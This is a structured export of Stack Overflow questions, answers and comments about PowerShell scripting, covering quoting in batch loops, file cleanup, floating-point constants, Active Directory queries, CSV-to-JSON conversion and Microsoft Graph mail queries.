has body: I have a problem with a PowerShell command within a batch file for loop. The script retrieves forenames and surnames from either side of a period in the local part of email addresses. For example joe and bloggs from joe.bloggs@etc.com. The script will retrieve those email addresses from within the content of a text file. It works perfectly until a variable contains an apostrophe, (usually surname [family name]). for /f "usebackq delims=" %%m in (`powershell -command "[CultureInfo]::CurrentCulture.TextInfo.ToTitleCase('!family1!')"`) do set "family=%%m" From web searching for hours I realise the backticks are escaping the apostrophe inside !family1!, preventing the setting of resultant variable, 'family', (which should have been capitalised by the PS command). I have tried running the command without backticks using double quotes and various things. I have tried escaping the apostrophe in the variable with ('\!family1!\'), caret(s) but no luck. I have a feeling this is straight forward and I just can't see it, or find the right post. I have echoed the variable before it gets to this line of code an know that the apostrophe is contained. I have also in a CMD window set a variable with apostrophe and echoed it back fine so I know at least, its definitley being lost at the powershell line. The problem, (it seems), is the backticks escaping the apostrophe and breaking the variable so the first letter of string is not capitalised and set as a new variable. This is how it works with no apostrophe The variable is e.g. smith inside !family1!, the powershell command turns into Smith (capitalised first letter), and is then set as a new variable for later on; a surname field in a CSV file. When there is an apostrophe, e.g. O'Donald, its an empty variable and is not first letter capitalised, not set as a new variable and the CSV surname field is blank. This scripts worked perfectly for weeks until I got a surname with the apostrophe. So I just need that line of code adjusting sl…
tagged with: powershell
type: AnsweredQuestion

sql
tags question: http://stackoverflow.com/q/79137517
tag name: sql
type: Tag
tags question: http://stackoverflow.com/q/79395776
tags question: http://stackoverflow.com/q/79506279

http://stackoverflow.com/comment/139723458
has text: @SantiagoSquarzon try calling only `$verbs = $o.Namespace('D:\TEMP').Self.Verbs()` will still get stucked
comment on: http://stackoverflow.com/q/79165242
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139555043
type: Comment
comment on: http://stackoverflow.com/a/79133088
score: 0
has text: I’ve tried all the modifications that have been suggested so far, but I’m still seeing an ‘Enabled’ status for users with MFA disabled. And I personally visited one of these users and had him log in to his office.com account to ensure he wasn’t prompted for any authentication factor other than his password.
type: AnswerComment

http://stackoverflow.com/q/79183054
has comment: http://stackoverflow.com/comment/139631537
upvote count: 2
tagged with: audio
has comment: http://stackoverflow.com/comment/139628325
type: UnansweredQuestion
has title: How can get a list of installed codecs and supported sound/media file types using powershell?
favorite count: 0
tagged with: media-player
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139633936
has body: Since I have no idea how to do this, I have no code of my own. I asked Copilot, which provided the following as a "solution", but that doesn't work. It just gives me Get-CimInstance: Invalid query. I suspect that the code it provided is for older windows versions. # Get the list of installed video codecs $videoCodecs = Get-CimInstance -ClassName Win32_VideoCodec -Filter "Group = 'video'" $videoCodecs | Select-Object Name, Version # Get the list of installed audio codecs $audioCodecs = Get-CimInstance -ClassName Win32_AudioCodec -Filter "Group = 'audio'" $audioCodecs | Select-Object Name, Version # Get the list of supported file types $mediaTypes = Get-CimInstance -ClassName Win32_MediaFileTypes $mediaTypes | Select-Object FileDescription, FileType How can I get this to work on Win-11 ? UPDATE: None of the CIM Classes above are available in Windows-11. It seem that any codecs (and info of) are embedded in some DLL's. # Get-CimInstance Win32_CodecFile | Select Version, Name | Sort -Property Name Version Name ------- ---- 10.0.22621.2506 C:\Windows\system32\IMAADP32.ACM 10.0.22621.1 C:\Windows\system32\IYUV_32.DLL 1.9.0.401 C:\Windows\system32\L3CODECA.ACM 10.0.22621.2506 C:\Windows\system32\MSADP32.ACM 10.0.22621.2506 C:\Windows\system32\MSG711.ACM 10.0.22621.2506 C:\Windows\system32\MSGSM32.ACM 10.0.22621.2506 C:\Windows\system32\MSRLE32.DLL 10.0.22621.2506 C:\Windows\system32\MSVIDC32.DLL 10.0.22621.1 C:\Windows\system32\MSYUV.DLL 10.0.22621.1 C:\Windows\system32\TSBYUV.DLL # ffind 'C:\Windows\System32' '*codec*.dll' C:\Windows\System32\IconCodecService.dll C:\Windows\System32\mibincodec.dll C:\Windows\System32\mimofcodec.dll C:\Windows\System32\msvcp140d_codecvt_ids.dll C:\Windows\System32\msvcp140_codecvt_ids.dll C:\Windows\System32\rtmcodecs.dll C:\Windows\System32\WindowsCodecs.dll # <--- Interesting! C:\Windows\System32\WindowsCodecsExt.dll # <--- Interesting! C:\Windows\System32\wmcodecdspps.dll C:\Windows\System32\Microsoft-Edge-WebView\msvcp140_codecvt_ids.d…
score: 2
tagged with: video-codecs
downvote count: 0
tagged with: powershell

http://stackoverflow.com/q/79188988
upvote count: 3
has comment: http://stackoverflow.com/comment/139638765
has body: I have a folder with lots of subfolders, each subfolders contain a .cpp file and multiple unimportant files. I want to run a command that go inside each subfolder and delete everything but the folder itself and the .cpp file. I've tried this command but it just deleted the folder itself: gci -Path $path | ? {!($_.Name -ilike "*.cpp")} | % { Remove-Item -Path $_.FullName } Thank you in advance!
tagged with: powershell
score: 3
favorite count: 0
has comment: http://stackoverflow.com/comment/139638758
has answer: http://stackoverflow.com/a/79189007
tagged with: command
type: Question
accepted answer: http://stackoverflow.com/a/79189007
tagged with: command-prompt
answer count: 1
has title: Delete all files in a folder (but not the folder itself) except for specific type files
downvote count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/139731038
type: QuestionComment
type: Comment
score: 0
has text: Your _update_ seems to contradict the title to your post: _c# to launch .bat that launches powershell_. It's unclear what you're trying to accomplish. It's better to describe _what_ you're trying to accomplish rather than _how_ you're trying to accomplish it - particularly since it seems that you may not know the best way to accomplish what you're trying to accomplish.
comment on: http://stackoverflow.com/q/79240454

http://stackoverflow.com/a/79102125
upvote count: 1
answers question: http://stackoverflow.com/q/79102031
score: 1
has comment: http://stackoverflow.com/comment/139480560
accepted answer of: http://stackoverflow.com/q/79102031
type: AcceptedAnswer
has body: Likely the issue is that Get-ADGroupMember is failing on those groups that have a member that has been deleted however there is no need to use it at all. You can get them using the AD filter directly: $getADGroupSplat = @{ LDAPFilter = '(&amp;(|(name=F_*)(name=G_*)(name=CAX_*))(groupType:1.2.840.113556.1.4.803:=2147483648)(!member=*))' Properties = 'Member' } # Get all Securty groups having Name starting with F_ or G_ or CAX_ that have no members $emptyGroups = Get-ADGroup @getADGroupSplat
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139480466

http://stackoverflow.com/a/79174103
accepted answer of: http://stackoverflow.com/q/79174092
has body: Note that although Pi keeps going beyond 3.141592653589793, those are just fantasy numbers, because the next digits for the true value of Pi are 2384..., but PowerShell [Math] gives you 1159.... [Math].Pi is accurate for the first 16 decimal digits, as is [Math].e. [Math].pi (64): 3.141592653589793 1159979634685441851615905761718750000000000000000 Actual Pi: 3.141592653589793 2384626433832795028841971693993751058209749445923... [Math].e (64): 2.718281828459045 0907955982984276488423347473144531250000000000000 Actual e: 2.718281828459045 2353602874713526624977572470936999595749669676277... Both are the values you get if you turn a string of the first 16 digits into a double: (sandbox) PS C:\Users\grismar> "{0:f64}" -f [double]"3.141592653589793" 3.1415926535897931159979634685441851615905761718750000000000000000 (sandbox) PS C:\Users\grismar> "{0:f64}" -f [double]"2.718281828459045" 2.7182818284590450907955982984276488423347473144531250000000000000 So they are in fact accurate for the same number of initial digits and both values cannot be trusted beyond the 16th digit. The reason why this works out to different lengths of digit strings when converted to a float is because a float has to be defined using bits just like any number, but unlike integers we can't define every real number exactly. You can look up how floating point numbers like a double are encoded in detail elsewhere, and that will explain the length difference. User @Daniel points out in the comments that the source code for [Math] shows e and Pi being defined with more decimals than we see in your example: public const double E = 2.7182818284590452354; public const double PI = 3.14159265358979323846; However, these values are being assigned to double data type constants, and the double simply does not have the precision for values with that many decimals to be sufficiently accurately represented. There is a data type that would allow this, if you really needed greater precision though: $piDecimal = [dec…
type: Answer
has comment: http://stackoverflow.com/comment/139612060
downvote count: 0
has comment: http://stackoverflow.com/comment/139612143
has comment: http://stackoverflow.com/comment/139611869
has comment: http://stackoverflow.com/comment/139612077
has comment: http://stackoverflow.com/comment/139612071
has comment: http://stackoverflow.com/comment/139612065
score: 5
upvote count: 5
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79174092
has comment: http://stackoverflow.com/comment/139612087

http://stackoverflow.com/q/79216817
has answer: http://stackoverflow.com/a/79218916
favorite count: 0
upvote count: 3
possible better answer: http://stackoverflow.com/a/79218916
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/139688877
answer count: 2
tagged with: converters
has title: How to put data from CSV to JSON?
has answer: http://stackoverflow.com/a/79216844
type: Question
tagged with: http://stackoverflow.com/tag/json
has body: I have a CSV containing two "columns" 'User id' and 'email' example: User id,email 1234-1234-1234,some@email.address 321-1235-44432,anoteher@email.address 322136231345,more.email@address.too And a JSON looking like this: [{ "externalId": "100000", "watchers": ["some@email.address", "anoteher@email.address", "more.email@address.too"] }, { "externalId": "100002", "watchers": ["anoteher@email.address", "more.email@address.too"] } ] What I'm trying to do is to replace the email addresses in the JSON with the 'User id' from the CSV accordingly. So far I have the inefficient foreach in foreach code but it only replaces the first email in the watchers array. $usersCSV = Import-Csv 'users.csv' $watchersJSON = Get-Content -Path "watchers.json" -raw |ConvertFrom-Json foreach ($watchersJSONdata in $watchersJSON) { foreach ($usersCSVdata in $usersCSV){ if ($watchersJSONdata.watchers -eq $usersCSVdata.email) { $watchersJSONdata.watchers = $usersCSVdata.'User id' } } } $watchersJSON |ConvertTo-Json | out-file "watchers-with-ID.json" Result is: [{ "externalId": "100000", "watchers": ["1234-1234-1234"] } ] I'm still working on it but a little help would be great. I wouldn't mind a completely different approach using a single line jq but I don't know jq at all.
score: 2
accepted answer: http://stackoverflow.com/a/79216844
tagged with: powershell
tagged with: jq
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139688896

http://stackoverflow.com/comment/139472241
score: 0
has text: Update the question which the code you tried and also paste the error.
comment on: http://stackoverflow.com/a/79097057
type: AnswerComment
type: Comment

http://stackoverflow.com/q/79137830
has title: How do I programmatically reset manifest settings as RequiredModules
type: AnsweredQuestion
tagged with: reset
score: 0
has answer: http://stackoverflow.com/a/79147934
accepted answer: http://stackoverflow.com/a/79147934
tagged with: module
type: Question
has comment: http://stackoverflow.com/comment/139544683
has body: The Update-ModuleManifest lets you programmatically update settings, but how do I programmatically reset a setting as RequiredModules back to its original setting ("no required modules"): # RequiredModules = @() Tried: Update-ModuleManifest .\Test\Test.psd1 -RequiredModules @() Update-ModuleManifest: Cannot validate argument on parameter 'RequiredModules'. The argument is null, empty, or an element of the argument collection contains a null value. Supply a collection that does not contain any null values and then try the command again. Update-ModuleManifest .\Test\Test.psd1 -RequiredModules '' Update-ModuleManifest: Cannot validate argument on parameter 'RequiredModules'. The argument is null, empty, or an element of the argument collection contains a null value. Supply a collection that does not contain any null values and then try the command again. Update-ModuleManifest .\Test\Test.psd1 -RequiredModules $Null Update-ModuleManifest: Cannot validate argument on parameter 'RequiredModules'. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again.
answer count: 1
tagged with: manifest
has comment: http://stackoverflow.com/comment/139544828
tagged with: powershell

scheduler
tags question: http://stackoverflow.com/q/79200936
type: Tag
tag name: scheduler

http://stackoverflow.com/q/79185230
has body: The code below is a section of a PS script I'm writing. Everything works except a small section that I copied as the script function is new for me. The section below is embedded in a menu. The line "$whatIfResult = Invoke-Command -ScriptBlock {& $args[0] -WhatIf} -ArgumentList $command ", specifically "{& $args[0] -WhatIf}" is returning the error: "*The expression after '&' in a pipeline element produced an object that was not valid. It must result in a command name, a script block, or a CommandInfo object. At line:25 char:53 ... $whatIfResult = Invoke-Command -ScriptBlock { & $args[0] -WhatIf ... CategoryInfo : InvalidOperation: (:) [], RuntimeException FullyQualifiedErrorId : BadExpression*" Full section is shown below. { $requiredColumns = "Zone","Computer","HostName","Name","TimeToLive" $csvPath = Read-Host "Enter full path to CSV file" $csv = Import-Csv $csvPath $missingColumns = $requiredColumns | Where-Object {$_ -notin $csv[0].PSObject.Properties.Name} if($missingColumns.Count -gt 0){ Write-Output "The following required columns are missing from csv: $missingColumns" } else { Write-Output "All required columns are present in the csv file." } foreach ($record in $csv) { $zoneName = $record.Zone $computer = $record.Computer $NewHostName = $record.HostName $Name = $record.Name $ttl = $record.TimeToLive # Add the new PTR record with whatif and confirm changes $command = Add-DnsServerResourceRecordPtr -ComputerName $computer -ZoneName $zoneName -AllowUpdateAny -TimeToLive $ttl -AgeRecord -Name $Name -PtrDomainName $NewHostName # Run the command with -WhatIf $whatIfResult = Invoke-Command -ScriptBlock {& $args[0] -WhatIf} -ArgumentList $command # Prompt for confirmation if ($whatIfResult) { $confirmation = Read-Host -Prompt "Do you want to apply these changes? (y/n)" if ($confirmation -eq "y") { # Execute the command without -WhatIf Invoke-Expression $command Write-Host "Changes applied." } else { Write-Host "Changes not applied." } } } Write-Host "Option 1 select…
accepted answer: http://stackoverflow.com/a/79185659
score: 1
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79185659
has comment: http://stackoverflow.com/comment/139632549
has title: Small section of code in my PS script returning an error
type: Question
tagged with: powershell
answer count: 1
type: AnsweredQuestion
downvote count: 0
tagged with: dns

http://stackoverflow.com/comment/139429741
type: QuestionComment
type: Comment
score: 3
has text: @ThiagoLuan Gotcha, thanks. In any case, the response either doesn't contain the paged control, or it's empty - [try the suggestions here](https://stackoverflow.com/questions/10336553/system-directoryservices-protocols-paged-get-all-users-code-suddenly-stopped-get) (namely adding either the `SearchOptionsControl` or disabling referral chasing)
comment on: http://stackoverflow.com/q/79074308

text
tags question: http://stackoverflow.com/q/79211988
tag name: text
type: Tag

http://stackoverflow.com/a/79091087
type: Answer
has comment: http://stackoverflow.com/comment/139460673
has body: It is more concise and more efficient to use a single -replace operation: Get-Content FILE | Where-Object { $_ -notmatch '^--' -and $_ -match ':=' } | ForEach-Object { $_ -replace '^(\S+).+?:= *(''.+?'');.*$', 'WHEN ''$1'' THEN $2' } The regex above is designed to consume the entire input string and to use capture groups ((...)) to capture the substrings of interest. What the capture groups captured can then be referred to in the substitution expression as $1 for the 1st capture group, and so on. Since the regex matches the entire input string, it is effectively replaced by what the substitution expression evaluates to. For an explanation of the regex and substitution operation and the option to experiment with them, see this regex101.com page (note that since "..." quoting is implied on the site, the embedded ' chars. do not need escaping as ''). Alternatively, if you want to stick with your -split-based approach: Get-Content FILE | Where-Object { $_ -notmatch '^--' -and $_ -match ':=' } | ForEach-Object{ $first, $second = ($_ -split ' +\w+ +\w+(?:\(\d+\))? +:= +|;')[0,1] "WHEN '$first' THEN $second" } The +\w+ +\w+(?:\(\d+\))? +:= + part of the regex matches CONSTANT VARCHAR2(100) := and similar strings; combined with alternatively (|) splitting by ;, the first 2 resulting tokens ([0,1]) are the ones of interest. These tokens are stored in variables $first and $second, respectively, and are used in an expandable (interpolating), double-quoted string ("...") to produce the desired output, which makes it easy to place ' on both sides of the first token.
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/139460836
answers question: http://stackoverflow.com/q/79091039
downvote count: 0

http://stackoverflow.com/q/79194279
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/79194293
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139648390
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79194293
score: 1
has comment: http://stackoverflow.com/comment/139648358
has body: I just ran into something useful but apparently esoteric as it's non-standard use of Get-Content; specifically: Get-Content Function:\mkdir. When I use this command in Powershell, it returns the entire function definition, and even the function body. Oddly enough, Get-Content Function:\ipconfig does not, even though it's listed literally alongside mkdir on the official documentation. I've been studying ways of easily finding more info on cmdlets, object definitions, etc. in Powershell. This particular seems rather useful, however, it's hard to find more use of Get-Content in this context, as it's usually used somewhat differently.
has comment: http://stackoverflow.com/comment/139648377
upvote count: 1
favorite count: 0
has title: Why "Get-Content Function:\mkdir" is valid, but not "Get-Content Function:\ipconfig"?

http://stackoverflow.com/a/79156578
answers question: http://stackoverflow.com/q/79155083
type: Answer
has body: To complement Jesse Squire's helpful answer with the implementation that handles an IAsyncIEnumerable&lt;PartitionEvent&gt; returned by ReadEventsAsync(), because there is no await foreach in PowerShell you need to re-implement the logic manually, which can translate to the following: using namespace Azure.Messaging.EventHubs.Consumer Add-Type -Path path\to\Azure.Messaging.EventHubs.dll try { # you need to pick the right overload here, if using a SAS key for example # you can get your EventHub connection string from: # Settings -&gt; Shared access policies -&gt; # Pick the right policy (at least `Listen` permission) -&gt; # Copy the `Connection string-primary key` $consumer = [EventHubConsumerClient]::new( $consumerGroup, $connectionString, $eventHubName) # here if using default CancellationToken you can call `ReadEventsAsync()` with no arguments # see the documentation for other overloads $enumerator = $consumer.ReadEventsAsync() while ($enumerator.MoveNextAsync().AsTask().GetAwaiter().GetResult()) { $evt.Current.Data.EventBody.ToString() | ConvertFrom-Json } } finally { if ($consumer) { $null = $consumer.DisposeAsync().AsTask().GetAwaiter().GetResult() } } As aside, I'd personally recommend you to look into Azure Event Hubs trigger for Azure Functions which makes consuming the events much easier.
score: 0

azure-vm-templates
tags question: http://stackoverflow.com/q/79206642
type: Tag
tag name: azure-vm-templates

http://stackoverflow.com/q/79174092
type: Question
accepted answer: http://stackoverflow.com/a/79174103
has answer: http://stackoverflow.com/a/79174103
upvote count: 2
downvote count: 0
tagged with: powershell
answer count: 1
type: AnsweredQuestion
score: 2
has title: Why are mathematical constants truncated differently in powershell?
tagged with: math
has body: I was doing some command-line math in powershell and ran into to the following curiosity. # &quot;{0:f64}&quot; -f ([Math]::PI); &quot;{0:f48}&quot; -f ([Math]::PI) 3.1415926535897931159979634685441851615905761718750000000000000000 3.141592653589793115997963468544185161590576171875 # &quot;{0:f64}&quot; -f ([Math]::E); &quot;{0:f51}&quot; -f ([Math]::E) 2.7182818284590450907955982984276488423347473144531250000000000000 2.718281828459045090795598298427648842334747314453125 Why are e and π truncated to different decimal lengths (51 vs. 48)? And why is it not closer aligned to some even number of words or bytes (like 16,32,64)?
favorite count: 0

http://stackoverflow.com/comment/139620393
type: AnswerComment
has text: The question is about determining the resolution of _multiple_ (all connected) displays. Also, you're offering a different technology without explaining why it should be preferred over the OP's own approach.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79177773

http://stackoverflow.com/a/79126797
has body: I have done this in the past and this is the way I do it. # Define the path to your batch file $batchFilePath = "C:\path\to\your\batchfile.bat" # Read the content of the batch file $batchFileContent = Get-Content -Path $batchFilePath # Define the replacements $NewFileContent1 = $batchFileContent.Replace('192.168.10.100','10.200.30.46') Set-Content -Value $NewFileContent1 -Path $batchFilePath -Force $NewFileContent2 = $NewFileContent1.Replace('192.168.10.55','10.10.133.18') Set-Content -Value $NewFileContent2 -Path $batchFilePath -Force Optionally you could be more aggressive and use multiple "Replace" methods on one line. $NewFileContent1 = $batchFileContent.Replace('192.168.10.100','10.200.30.46').Replace('192.1686.10.55','10.10.133.18') Important Note: since IP Addresses are numbers it should not matter however since you didn't share your actual value I want to be sure and tell you that the strings in the replace method overload are indeed case sensitive. So for example 'cat' does not equal 'CAT' so if there are alpha characters in the string then be sure to match case inside the overload parenthesis.
downvote count: 1
has comment: http://stackoverflow.com/comment/139525989
type: Answer
has comment: http://stackoverflow.com/comment/139527339
has comment: http://stackoverflow.com/comment/139529023
has comment: http://stackoverflow.com/comment/139525939
upvote count: 0
has comment: http://stackoverflow.com/comment/139525853
has comment: http://stackoverflow.com/comment/139526031
score: -1
has comment: http://stackoverflow.com/comment/139528995
has comment: http://stackoverflow.com/comment/139525923
has comment: http://stackoverflow.com/comment/139536633
answers question: http://stackoverflow.com/q/79126566
has comment: http://stackoverflow.com/comment/139530974

http://stackoverflow.com/comment/139610783
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79172792
has text: You can replace the `foreach` loop with `$systems | Format-List` (for display only).

http://stackoverflow.com/comment/139507322
has text: @jdweng I have a function that will selectively list all available, non-used ports for this. The problem is only when I try to run in WSL, it works fine with Windows (Powershell). However, i am required to run in wsl.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79106388
type: QuestionComment

http://stackoverflow.com/a/79121799
has comment: http://stackoverflow.com/comment/139517521
has comment: http://stackoverflow.com/comment/139520685
has body: To build on the helpful answer from Rich Moss and comments in the question: "So there is no way to make the search faster?" Not at all, but let's start with a rhetorical question: Why using PowerShell 5.1 -an 8 years old software engine- if you target for the best performance? Tweaking You might tweak your current design even further, some general leads are described in the document PowerShell scripting performance considerations, besides: What is in Convert-FileName??? Aside from the fact that the contents of this function might have an affect on the performance of your iteration, the overhead of the function call might play a role as well, see this question: What is the best way to reuse static code Avoid repeated calls to a function Saying that, this doesn't just concern custom functions but also native PowerShell cmdlets as the legacy New-Object cmdlet. Using the [PSCustomObject]@{ ... } type initiator is a lot faster: Measure-Command { for ($i = 0; $i -lt 1e6; $i++) { $resultObject = [PSCustomObject]@{ Name = 'Name' Path = 'FullName' } } } Measure-Command { for ($i = 0; $i -lt 1e6; $i++) { $resultObject = New-Object -TypeName PSObject -Property @{ Name = 'Name' Path = 'FullName' } } } Syntax Windows PowerShell (5.1) PowerShell 7.4.5 (Core) New-Object 90 secondes 39 secondes [PSCustomObject] 8 secondes 5 secondes Smarter Aside from tweaking the iterations, you might rethink your whole design (or even the process behind it), 200k files in a folder is a lot to handle (even for the Explorer interface). Get-ChildItem The command Get-ChildItem -Path "$global:selectedFolder\$region" -File is probably expensive in your script, so simply try to avoid reloading this list if it isn't required by checking the folder's LastWriteTime knowing that you only retrieve the direct decedents in the folder and the folder's LastWriteTime will change if a file is added, removed or renamed. Caching The .Net version that comes with PowerShell 7 includes has an easy independent MemoryCac…
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79119400
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139509118
type: QuestionComment
type: Comment
has text: "which maxes out the memory on our MySQL server" sounds like you are not disposing the connection and command, and judging from the code that seems true. Anyway instead of clearing the parameters why don't you just set them `$this.Command.Parameters["param1"] = $someValue;`
score: 0
comment on: http://stackoverflow.com/q/79118064

http://stackoverflow.com/a/79083062
type: Answer
has body: From example 4 in the docs, it seems you need to get the continuation token from the last item returned by Get-AzStorageBlob. The error message also shows it is now receiving a System.Object[] (an array) instead of a single value, so you might try: $continuationToken = @($resultSegment)[-1].ContinuationToken By surrounding $resultSegment with @() you force it to be an array even if there is only one element. By doing this, you can safely index the last item using [-1] B.T.W. You can remove the line $continuationToken = New-Object -TypeName 'Microsoft.WindowsAzure.Storage.Blob.BlobContinuationToken' $continuationToken = $null
answers question: http://stackoverflow.com/q/79078102
score: 0
accepted answer of: http://stackoverflow.com/q/79078102
type: AcceptedAnswer

http://stackoverflow.com/comment/139480610
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79102591
type: QuestionComment
has text: You already know the answer, re-upload it as a Module instead of Script and add the requirements to the `RequiredModules` / `RequiredAssemblies` etc.

http://stackoverflow.com/comment/139598688
type: Comment
comment on: http://stackoverflow.com/q/79164499
score: 0
has text: I agree about not using hardcoded passwords within a script. This was done to trace down which of the special characters like ~ ! > ) ` \ was the source of my problem.
type: QuestionComment

http://stackoverflow.com/comment/139676867
has text: Found this on net- https://techcommunity.microsoft.com/blog/appsonazureblog/scaling-options-in-azure-container-apps/3878282 and https://github.com/microsoft/azure-container-apps/issues/1040
comment on: http://stackoverflow.com/q/79208253
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79136043
score: 1
upvote count: 1
has body: Initially, I registered one application and granted Mail.ReadBasic.All permission of Application type as below: To get deleted email message IDs of user with Graph API calls and Azure CLI service principal authentication, you can make use of below modified script: $USER_EMAIL = "user@xxxxxx.onmicrosoft.com" $TENANT_ID = "tenantId" $CLIENT_ID = "appId" $CLIENT_SECRET = "secret" az login --service-principal --allow-no-subscriptions --tenant $TENANT_ID --username $CLIENT_ID --password $CLIENT_SECRET $TOKEN = az account get-access-token --resource-type ms-graph --query 'accessToken' --output tsv $deletedFolder = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/$USER_EMAIL/mailFolders" -Headers @{ Authorization = "Bearer $TOKEN" }).value | Where-Object { $_.displayName -eq "Deleted Items" } $deletedFolderId = $deletedFolder.id $deletedEmailIds = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/$USER_EMAIL/mailFolders/$deletedFolderId/messages" -Headers @{ Authorization = "Bearer $TOKEN" }).value | Select-Object -ExpandProperty id Write-Output "Deleted Email IDs:" $deletedEmailIds | ForEach-Object { Write-Output $_ } Response: Alternatively, you can make use of below direct script by installing Microsoft Graph PowerShell module to fetch deleted email ids like this: Import-Module Microsoft.Graph.Mail $USER_EMAIL = "user@xxxxxxx.onmicrosoft.com" $TENANT_ID = "tenantId" $CLIENT_ID = "appId" $CLIENT_SECRET = "secret" $SecurePassword = ConvertTo-SecureString $CLIENT_SECRET -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential($CLIENT_ID, $SecurePassword) Connect-MgGraph -TenantId $TENANT_ID -Credential $Credential $deletedFolder = Get-MgUserMailFolder -UserId $USER_EMAIL | Where-Object { $_.DisplayName -eq "Deleted Items" } $deletedFolderId = $deletedFolder.Id $deletedEmailIds = Get-MgUserMailFolderMessage -UserId $USER_EMAIL -MailFolderId $deletedFolderId -Property "id" | Select-Object -ExpandProperty Id Write-Out…
has comment: http://stackoverflow.com/comment/139547469
has comment: http://stackoverflow.com/comment/139554411
has comment: http://stackoverflow.com/comment/139547855
has comment: http://stackoverflow.com/comment/139547818
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139582187
has comment: http://stackoverflow.com/comment/139547093
answers question: http://stackoverflow.com/q/79135883

http://stackoverflow.com/a/79146224
score: 0
has body: The only immediate problem with your attempt is the use of embedded single quotes ('...') inside your "-workDir 'e:\myFolder\Jenkins\'" argument, which java.exe doesn't understand. Thus, replacing this argument with "-workDir `"e:\myFolder\Jenkins\\`"", i.e. using embedded double quotes would fix your problem. Plus, the last \ must be doubled to prevent it from being interpreted as part of an escape sequence, \", i.e. an escaped " char. (Since e:\myFolder\Jenkins\ happens not to contain any spaces, you could omit quoting around it altogether.) The fact that your command then works - despite not passing option names (e.g. -workdir) and their values (e.g, e:\myFolder\Jenkins\) in separate array elements - is a happy accident, owed to a long-standing bug in Start-Process: It simply joins the verbatim values of the array elements with spaces when building the process command line behind the scenes, and therefore neglects to perform on-demand "..."-quoting of elements that contains spaces. It is therefore generally better to encode all arguments passed to -ArgumentList in a single string, e.g. -ArgumentList '-foo "bar baz"', because the situational need to use embedded double-quoting is then obvious - see this answer for details. Applied to your command, using outer single-quoting ('...') for simplicity (since you're not using string interpolation): # Pass the entire argument list as a single string. Start-Process -FilePath java.exe -ArgumentList '-jar C:\Users\myUser\Desktop\agent.jar -jnlpUrl http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp -secret 1234567890abcdefgh1234567890abcdefgh1234567890abcdefgh1234567890 -workDir "e:\myFolder\Jenkins\\"' Taking a step back, the usual advice applies: To synchronously execute console applications or batch files in the current console (terminal), do not use Start-Process (or the System.Diagnostics.Process API it is based on), except in unusual circumstances. See this answer and this guidance.…
answers question: http://stackoverflow.com/q/79145598
type: Answer

http://stackoverflow.com/comment/139638765
has text: Yes, but I can ensure that all folders have at least a .cpp file. Thank you!
score: 1
comment on: http://stackoverflow.com/q/79188988
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139711834
has text: Thank you, it works now and I didn't get the error. I would like to know the right approach when using `Where-Object` because I set the `StartTimeGenerated` to 12/11/2024 and there are records on 18/11/2024. However, the results count is always 0 (`var results = pipeline.Invoke();`). Why is it 0 when it should get the number of records on 18/11/2024?
type: AnswerComment
comment on: http://stackoverflow.com/a/79227179
type: Comment
score: 1

http://stackoverflow.com/comment/139545114
type: Comment
score: 0
has text: You just type the code they show `Add-Type -AssemblyName @('UIAutomationClient', 'UIAutomationTypes')`, etc, powershell finds the dll for you. It works for me but I also have visual studio installed which maybe put these dlls somewhere powershell can find it, give it a try if it works then you're good. The linked answer says it's "Windows-provided" so you probably have it already.
comment on: http://stackoverflow.com/q/79133582
type: QuestionComment

http://stackoverflow.com/comment/139525853
has text: Thank you! There are no alpha characters in the strings. Just numbers and periods. I know it is hard without the results - I just didn't want to share all of the IPs, but I will share a few that for sure did not replace correctly and see if that helps. For instance, one of the replaces is "10.44.189" = "10.225.8". In the actual file, 10.44.189 gets replaced with 10.229.18689 - I have no idea where that is coming from.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79126797
type: Comment

http://stackoverflow.com/q/79088047
has body: I'm trying to implement a Powershell start-up script, which calls a python file. When the shell calls my python file it never has focus. When I go into the start-up folder and run the script myself, it works fine but when it's run as part of the start-up process the key listener doesn't work. I've tried many things to get my project running headless, such as running as elevating privileges, changing keylisteners in python, installing python modules that should get focus on the window, opening the file in a subprocess, opening it in a completely new shell. As it works normally when I manually run the .exe there's clearly something I'm missing and google has been hopeless. Write-Host "starting docker" $user = [Environment]::UserName Start-Process -FilePath "C:\Program Files\Docker\Docker\Docker Desktop.exe" $file_path = "C:\Users\${user}\OneDrive\Desktop\teia\windows\" # Check if Docker is ready function DockerReady { try { $response = Invoke-RestMethod -Uri http://localhost:2375/_ping -UseBasicParsing return $response -eq "OK" } catch { return $false } } # Wait for Docker do { Write-Host "Waiting for Docker to be ready..." Start-Sleep -Seconds 3 } until (DockerReady) Start-Process powershell -ArgumentList "-NoExit", "-Command", "docker run --rm -it --env ACCEPT_LICENSE=true --publish 1080:1080 tts-standalone" Write-Host "Starting Teia" Start-Process powershell -ArgumentList "-NoExit", "-Command", "conda run --name teia python '$file_path\run-on-startup.py' '$file_path'" Write-Host -NoNewLine "Application initialised, press any key to exit..." $null = $Host.UI.RawUI.ReadKey('NoEcho, IncludeKeyDown')```
tagged with: powershell
answer count: 1
